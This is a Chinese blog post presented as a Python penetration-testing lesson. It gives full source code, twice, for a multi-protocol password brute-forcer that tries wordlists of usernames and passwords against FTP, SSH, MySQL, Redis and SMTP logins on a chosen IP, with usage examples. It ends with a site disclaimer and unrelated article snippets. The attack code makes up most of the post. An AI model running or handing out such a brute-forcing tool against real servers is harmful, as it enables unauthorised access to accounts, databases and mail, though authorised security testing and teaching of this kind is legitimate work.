Python 渗透测试:电子邮件 || Redis || FTP || SSH || MySQL 集成爆破工具.

集成爆破工具.

集合爆破里面包含了:电子邮件爆破工具,Redis爆破工具,FTP爆破工具,SSH爆破工具,MySQL爆破工具。


目录:

集合爆破工具.

电子邮件 爆破工具:

Redis 爆破工具:

FTP 爆破工具:

SSH 爆破工具:

MySQL 爆破工具:

集合爆破工具编写:

(1)固定字典编写:

运行效果:

(2)可自定义字典.

运行效果:


电子邮件 爆破工具:

        用于尝试猜测电子邮件账号的密码,通常使用常见密码或字典进行爆破。

Python 渗透测试:电子邮件 SMTP 协议爆破.(25端口)-CSDN博客


Redis 爆破工具:

        用于尝试猜测Redis服务器的访问密码,以获取对Redis数据库的控制权限。

Python 渗透测试:Redis 数据库 弱密码测试.(6379端口)-CSDN博客


FTP 爆破工具:

        用于尝试猜测FTP服务器的用户名和密码,以便登录并访问FTP服务器上的文件。

Python 渗透测试:FTP 文件传输 爆破.(21端口)-CSDN博客


SSH 爆破工具:

        用于尝试猜测SSH服务器的用户名和密码,以便远程登录并控制目标服务器。

Python 渗透测试:SSH 加密通道 传输文件 爆破.(22 端口)-CSDN博客


MySQL 爆破工具:

        用于尝试猜测MySQL数据库的用户名和密码,以便获取对数据库的访问权限。

Python 渗透测试:MySQL 数据库爆破.(3306 端口)-CSDN博客


集成爆破工具编写:

(1)固定字典编写:

from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sys
 
def ftp_check(ip,username,password):
    ftp = FTP()
    print('check->'+ip+'|'+username+'|'+password)
    try:
        ftp.connect(ip, 21)
        ftp.login(username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def ssh_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,"22",username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def mysql_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    try:
        conn_obj = pymysql.connect(
            host=ip,  # MySQL服务端的IP地址
            port=3306,  # MySQL默认PORT地址(端口号)
            user=username,  # 用户名
            password=password,  # 密码,也可以简写为passwd
            database='mysql',  # 库名称,也可以简写为db
            charset='utf8'  # 字符编码
        )
        print('success')
        exit()
    except Exception as e:
        pass
 
def redis_check(ip,password):
    print('check->' + ip + '|' + password)
    try:
        redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
        redis_conn.set('test', 'xiaodi')
        print('success')
        exit()
    except Exception as e:
        pass
 
def email_check(ip,username,password):
    print('check->' + ip + '|' +username+'|'+ password)
    try:
        smtpObj = smtplib.SMTP()
        smtpObj.connect('smtp.'+ip, 25)  # 25 为 SMTP 端口号
        smtpObj.login(username, password)
        print('ok')
        exit()
    except smtplib.SMTPException:
        print("Error")
 
if __name__ == '__main__':
    pypath = os.getcwd()
    print('eg:固定字典使用说明:')
    print('python all.py ftp 127.0.0.1')
    print('python all.py ssh 127.0.0.1')
    print('python all.py redis 127.0.0.1')
    print('python all.py mysql 127.0.0.1')
    print('python all.py email')

    xy=sys.argv[1]                  #  判断类型,然后进行
    ip=sys.argv[2]                  #  判断 IP 地址
    # zidian = sys.argv[3]            #  接收账号的字典
    # zidian2=sys.argv[4]             #  接收密码的字典
 
    #没有设置自定义字典,采用固定字典
    #if len(zidian)==0:
    if xy=='ftp':
        for username in open(pypath + '//dic_username_ftp.txt'):
            username = username.replace('\n', '')
            for password in open(pypath + '//dic_password_ftp.txt'):
                password = password.replace('\n', '')
                ftp_check(ip, username, password)
    elif xy=='ssh':
        for username in open(pypath + '//dic_username_ssh.txt'):
            username = username.replace('\n', '')
            for password in open(pypath + '//dic_password_ssh.txt'):
                password = password.replace('\n', '')
                ssh_check(ip, username, password)
    elif xy=='mysql':
        for username in open(pypath + '//username_mysql.txt'):
            username = username.replace('\n', '')
            for password in open(pypath + '//password_mysql.txt'):
                password = password.replace('\n', '')
                mysql_check(ip, username, password)
    elif xy=='redis':
        for password in open(pypath + '//dic_password_redis.txt'):
            password = password.replace('\n', '')
            redis_check(ip, password)
    elif xy=='email':
        for username in open(pypath + '//email_username.txt'):
            username = username.replace('\n', '')
            ip = username.split('@')[1]
            for password in open(pypath + '//email_password.txt'):
                password = password.replace('\n', '')
                email_check(ip, username, password)
运行效果:
D:\python\python.exe 爆破.py mysql 127.0.0.1

python [名.py] [要爆破的类型] [IP地址]


(2)可自定义字典.

from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sys
 
def ftp_check(ip,username,password):
    ftp = FTP()
    print('check->'+ip+'|'+username+'|'+password)
    try:
        ftp.connect(ip, 21)
        ftp.login(username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def ssh_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,"22",username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def mysql_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    try:
        conn_obj = pymysql.connect(
            host=ip,  # MySQL服务端的IP地址
            port=3306,  # MySQL默认PORT地址(端口号)
            user=username,  # 用户名
            password=password,  # 密码,也可以简写为passwd
            database='mysql',  # 库名称,也可以简写为db
            charset='utf8'  # 字符编码
        )
        print('success')
        exit()
    except Exception as e:
        pass
 
def redis_check(ip,password):
    print('check->' + ip + '|' + password)
    try:
        redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
        redis_conn.set('test', 'xiaodi')
        print('success')
        exit()
    except Exception as e:
        pass
 
def email_check(ip,username,password):
    print('check->' + ip + '|' +username+'|'+ password)
    try:
        smtpObj = smtplib.SMTP()
        smtpObj.connect('smtp.'+ip, 25)  # 25 为 SMTP 端口号
        smtpObj.login(username, password)
        print('ok')
        exit()
    except smtplib.SMTPException:
        print("Error")
 
if __name__ == '__main__':
    pypath = os.getcwd()
    print('python all.py email')
    print('eg:自定义字典使用说明:')
    print('python all.py ftp 127.0.0.1 user.txt pass.txt')
    print('python all.py ssh 127.0.0.1 user.txt pass.txt')
    print('python all.py redis 127.0.0.1 user.txt pass.txt')
    print('python all.py mysql 127.0.0.1 user.txt pass.txt')
    print('python all.py email user.txt pass.txt')
    xy=sys.argv[1]                  #  判断类型,然后进行
    ip=sys.argv[2]                  #  判断 IP 地址
    zidian = sys.argv[3]            #  接收账号的字典
    zidian2=sys.argv[4]             #  接收密码的字典
 
    #设置了自定义字典
    if xy=='ftp':
        for username in open(pypath +'\\'+ zidian):
            username = username.replace('\n', '')
            for password in open(pypath +'\\'+ zidian2):
                password = password.replace('\n', '')
                ftp_check(ip, username, password)
    elif xy=='ssh':
        for username in open(pypath +'\\'+ zidian):
            username = username.replace('\n', '')
            for password in open(pypath + '\\'+ zidian2):
                password = password.replace('\n', '')
                ssh_check(ip, username, password)
    elif xy=='mysql':
        for username in open(pypath + '\\'+ zidian):
            username = username.replace('\n', '')
            for password in open(pypath + '\\'+ zidian2):
                password = password.replace('\n', '')
                mysql_check(ip, username, password)
    elif xy=='redis':
        for password in open(pypath + '\\'+ zidian):
            password = password.replace('\n', '')
            redis_check(ip, password)
    elif xy=='email':
        for username in open(pypath + '\\'+ zidian):
            username = username.replace('\n', '')
            ip = username.split('@')[1]
            for password in open(pypath + '\\'+ zidian2):
                password = password.replace('\n', '')
                email_check(ip, username, password)
运行效果:
D:\python\python.exe 爆破.py mysql 127.0.0.1 username_mysql.txt password_mysql.txt

python [名.py] [要爆破的类型] [IP地址] [账号字典] [密码字典]

    

   

    

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/645412.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

sqlserver 创建表,列及表,列描述

-- 创建表 CREATE TABLE Employees (EmployeeID INT PRIMARY KEY,EmployeeName NVARCHAR(100),EmployeeEmail NVARCHAR(100) );-- 为表添加描述 EXEC sp_addextendedproperty name NMS_Description, value N员工信息表, level0type NSchema, level0name dbo, level1type N…

数字图像处理冈塞雷斯第四版课后习题答案【英文原版】

第二章 第三章 . 第四章 傅里叶变换是一个线性过程,而计算梯度的平方根和平方根则是非线性运算。傅里叶变换可以用来计算微分的差值(如问题4.50),但必须在空间域中直接计算平方和平方根值。 (a)实际上,由于高通操作,环有一个暗中心…

基于MetaGPT构建LLM多智能体

前言 你好,我是GISer Liu,在上一篇文章中,我们用了两万多字详细拆解了单个Agent的组成,并通过Github Trending订阅智能体理解MetaGPT框架的订阅模块如何解决应用问题,但是对于复杂,并行的任务,单…

010-Linux磁盘介绍

文章目录 1、名词 2、类型 3、尺寸 4、接口/协议/总线 5、命名 6、分区方式 MBR分区 GPT分区 1、名词 磁盘是计算机主要的存储介质,可以存储大量的二进制数据,并且断电后也能保持数据不丢失。早期计算机使用的磁盘是软磁盘(Floppy D…

VBA技术资料MF157:创建每个标题的目录

我给VBA的定义:VBA是个人小型自动化处理的有效工具。利用好了,可以大大提高自己的工作效率,而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套,分为初级、中级、高级三大部分,教程是对VBA的系统讲解&#…

【计算机毕业设计】基于SSM+Vue的校园美食交流系统【源码+lw+部署文档】

目录 前 言 第1章 概述 1.1 研究背景 1.2 研究目的 1.3 研究内容 第二章 开发技术介绍 2.1 Java技术 2.2 Mysql数据库 2.3 B/S结构 2.4 SSM框架 第三章 系统分析 3.1 可行性分析 3.1.1 技术可行性 3.1.2 经济可行性 3.1.3 操作可行性 3.2 系统性能分析 3.3 系…

(避坑)SpringSecurity关于使用.antMatchers放行接口不生效问题

问题 在使用SpringSecurity的时候发现放行指定接口一直没有生效,使用"/**"就可以生效的问题 关于securityConfig的配置代码 Beanprotected SecurityFilterChain filterChain(HttpSecurity http) throws Exception {http.csrf().disable() // 关闭csrf防护…

用 vue3 + phaser 实现经典小游戏:飞机大战

本文字数:7539字 预计阅读时间:30分钟 01 前言 说起小游戏,最经典的莫过于飞机大战了,相信很多同学都玩过。今天我们也来试试开发个有趣的小游戏吧!我们将从零开始,看看怎样一步步实现一个H5版的飞机大战&a…

vue3 依赖-组件tablepage-vue3版本1.1.2~1.1.5更新内容

github求⭐ 可通过github 地址和npm 地址查看全部内容 vue3 依赖-组件tablepage-vue3说明文档,列表页快速开发,使用思路及范例-汇总 vue3 依赖-组件tablepage-vue3说明文档,列表页快速开发,使用思路及范例(Ⅰ&#…

【计网】广播域和冲突域

一、相关概念 1.各层次设备 2.冲突域 2.1定义 冲突域通俗来讲就是在同一个网络中,两台设备同时传输的话会产生冲突。位于OSI的第一层:物理层 例如在集线器场景下,集线器属于物理层设备,它不具备交换机的功能,当收到节…

问题解决记录1:nvidia-container-cli: initialization error: load library failed

本地docker运行 $ docker run --rm --gpus all nvidia/cuda:11.8.0-base-ubuntu22.04 nvidia-smi 遇到这种报错 Error response from daemon: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error dur…

8.Redis之hash类型

1.hash类型的基本介绍 哈希表[之前学过的所有数据结构中,最最重要的] 1.日常开发中,出场频率非常高. 2.面试中,非常重要的考点, Redis 自身已经是键值对结构了Redis 自身的键值对就是通过 哈希 的方式来组织的 把 key 这一层组织完成之后, 到了 value 这一层~~ value 的其中…

掌握ASPICE标准:汽车软件测试工程师的专业发展路径

掌握ASPICE标准:汽车软件测试工程师的专业发展路径 文:领测老贺 随着新能源汽车在中国的蓬勃发展,智能驾驶技术的兴起,汽车测试工程师的角色变得愈发关键。这一变革带来了前所未有的挑战和机遇,要求测试工程师不仅要具…

1.int 与 Integer 的简单区别

蓝桥杯刷题从此开始: 第一题就是两个数的和,个人看来主要考察 int与integer 的区别; 这是我提交的答案,竟然会报错: import java.util.*; //输入A、B,输出AB。 class add {public static void main(String …

实验一:通过路由器实现内外网互联

通过路由器实现内外网互联 一、实验拓扑 相关配置详见下图,内网区域为AR2以内设备,外网区域以AR1和PC1代替进行实验测试。 二、实验要求 通过路由器实现内外网互联: 1.各内网PC可自动获取ip地址; 2.各内网PC可ping通外网PC&…

知能行——考研数学利器

知能行使用体验全记录 首先,我先介绍一下自己,我是2018级的,2022年6月毕业,本科沈阳工业大学(双非),今年二战,专业课自动控制原理,数二英二,目标是江南大学控…

Sentinel Dashboard 规则联动持久化方案

一、Sentinel Dashboard 规则联动持久化方案 Sentinel 是阿里开源的一个流量控制组件,它提供了一种流量控制、熔断降级、系统负载保护等功能的解决方案。并且我们通过 Sentinel Dashboard 可以非常便捷的添加或修改规则策略,但是如果细心的小伙伴应该可…

redis6.2.7安装

1、下载上传到服务器 从官下载redis,地址 https://redis.io/download/#redis-downloads 然后上传到服务器目录 app/apps目录下 2、安装gcc编译器 使用gcc --version命令测试是否已经安装了gcc编译环境,如果没有安装执行以下命令安装 yum install -y …

定积分求解过程是否变限问题 以及当换元时注意事项

目录 定积分求解过程是否变限问题 文字理解: 实例理解: 易错点和易混点: 1:定积分中的换元指什么? 2: 不定积分中第一类换元法和第二类换元法的本质和区别 3: df(x) ----> df(x)这…

c++(一)

c&#xff08;一&#xff09; C与C有什么区别命名空间使用 输入输出流引用指针和引用的区别定义拓展 函数重载例子测试函数重载原理 参数默认值什么是参数默认值注意 在c中如何引入c的库动态内存分配new、delete与malloc、free的区别&#xff1f; C与C有什么区别 <1>都是…